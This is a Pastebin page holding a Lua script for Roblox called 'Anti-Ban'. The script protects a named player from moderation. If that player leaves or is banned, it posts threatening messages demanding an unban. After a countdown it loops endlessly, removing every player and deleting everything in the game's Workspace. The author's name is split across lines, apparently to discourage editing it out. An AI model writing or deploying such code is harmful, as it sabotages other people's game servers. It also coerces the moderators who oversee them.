Advertisement
Derek1017

Anti-Ban By Derek1017

Apr 23rd, 2015
312
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.39 KB | None | 0 0
  1. ------Derek1017's Anti-Ban script!--------------------------------------Dont take credits!------------------------------------
  2. ------------Don't change this!-----------
  3. n = "D"
  4. n = n.."e"
  5. n = n.."re"
  6. n = n.."k"
  7. n = n.."1017"
  8. h = Instance.new("Hint")
  9. m = Instance.new("Message")
  10. script.Name = n.."'s Anti-Ban"
  11. --------------You can change below------------------
  12. respawntime = 10
  13. protect = "Derek1017"
  14. -------Version [Don't change]------------
  15. version = 3.0
  16.  
  17. while true do
  18. if game.Players:findFirstChild(protect) == nil then
  19. m.Parent = game.Workspace
  20. m.Text = protect.." is banned, the server will be removed..."
  21. wait(3)
  22. m.Text = "Unban "..protect.." or remove your script, else the server will be down with the following countdown!"
  23. wait(3)
  24. for i= respawntime, 0, -1 do
  25. if game.Players:findFirstChild(protect) == nil then
  26. m.Text = "If "..protect.." doesn't reappear in ["..i.."] then the server is down!"
  27. wait(1)
  28. end
  29. end
  30. if game.Players:findFirstChild(protect) ~= nil then
  31. m.Text = protect.." came back, nothing will happen!"
  32. wait(3)
  33. m:remove()
  34. else
  35. while true do
  36. for i, p in ipairs(game.Players:getChildren()) do
  37. p:Remove()
  38. end
  39. for i, w in ipairs(game.Workspace:getChildren()) do
  40. w:Remove()
  41. end
  42. wait()
  43. end
  44. end
  45. else
  46. h.Parent = game.Workspace
  47. h.Text = "Protecting: "..protect.." - Version: "..version.." - Created by: "..n
  48. end
  49. wait()
  50. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement